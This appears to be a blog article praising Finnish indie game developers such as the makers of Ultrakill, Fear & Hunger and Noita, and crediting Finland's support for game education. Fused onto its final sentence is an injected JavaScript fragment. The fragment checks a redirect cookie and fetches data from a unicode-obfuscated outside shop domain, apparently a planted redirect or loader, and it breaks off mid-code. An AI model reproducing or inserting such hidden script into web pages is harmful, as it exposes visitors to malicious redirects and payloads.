Are Finnish Developers The New Face For Innovation In The Indie Market?

Let’s all agree indie games are a much-needed concept in today’s gaming sphere. They’ve quickly risen from a niche market to the main spotlight for many gamers. Thanks to the wonderful achievements of games such as Hades and Baldur’s Gate 3, and no thanks to the declining quality of AAA.

I’ve tried and observed a lot of indie games over the years, from roguelikes to Left 4 Dead-inspired games to the horror genre. However, there’s one weird subsection (if you could call it that) of indie games that intrigues me the most, them being Finnish-developed Indie games.

So allow me to go into more detail on what I actually mean.

Finnish Devs Are Weird (In A Good Way)

I’d be lying to all of you if I didn’t say that the main inspiration for this article wasn’t this meme since it’s not wrong. Besides being created by Finnish developers, almost all of these games have two things in common: being very innovative and having some of the weirdest gaming experiences.

When I say weird, I mean it solely as a compliment in this context, as there is nothing quite like them in the market. Sure, you have tons of boomer shooters, but do they mix the complex movements & exaggerated style present in the Quake and Devil May Cry games? Does your quirky Earthbound-inspired indie RPG about depression give you a side order of limb loss? No? Well, Ultrakill and Fear & Hunger do.

All the games mentioned in the meme above (as of now) comfortably sit in Steam reviews ranging from very positive to overwhelmingly positive, and for good reason. Let’s have a look at why.

Finland As A Country Supports Its Dev Scene Lucratively

Why does Finland have such a strong videogame industry in comparison to other european countries?
by inFinland

Max Payne and Angry Birds are two Finnish-developed best-sellers that helped put Finland on the map of the game dev scene, followed by free-to-play mobile games such as Clash of Clans and Brawl Stars.

Events such as these and others have helped the Finnish government realize the potential of video game development as a career. So much so that multiple universities offer game design courses in Finland ranging from a simple Game Studies course to a Master’s Degree in Game Business Management.

That isn’t just the fascinating part, however, as it almost seems that video game development holds cultural significance in the country, probably due to its rich IT and software development history. Games such as Ultrakill, Fear & Hunger, and Cruelty Squad boast the talent of solo developers. Meanwhile, technical & narrative wonders such as Noita and Lakeview Cabin Collection perform fairly well without the express need for a publisher.

Where I’m Going With All This

All this being said, I’m not trying to hype Finland as some creator of artistic maestros that have a weird taste in game and narrative design. Rather, I want to shed some light on and celebrate this interesting phenomenon of highly talented indie developers coming from a country many of us would overlook as just another Nordic land with an unexpectedly high quality of life.

With Finland’s talented population and progressiveness toward game design, it’s a no-brainer that they harbor highly passionate and talented minds who have created some of the most imaginative indie games.

Games that I wholeheartedly support and recommend.(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
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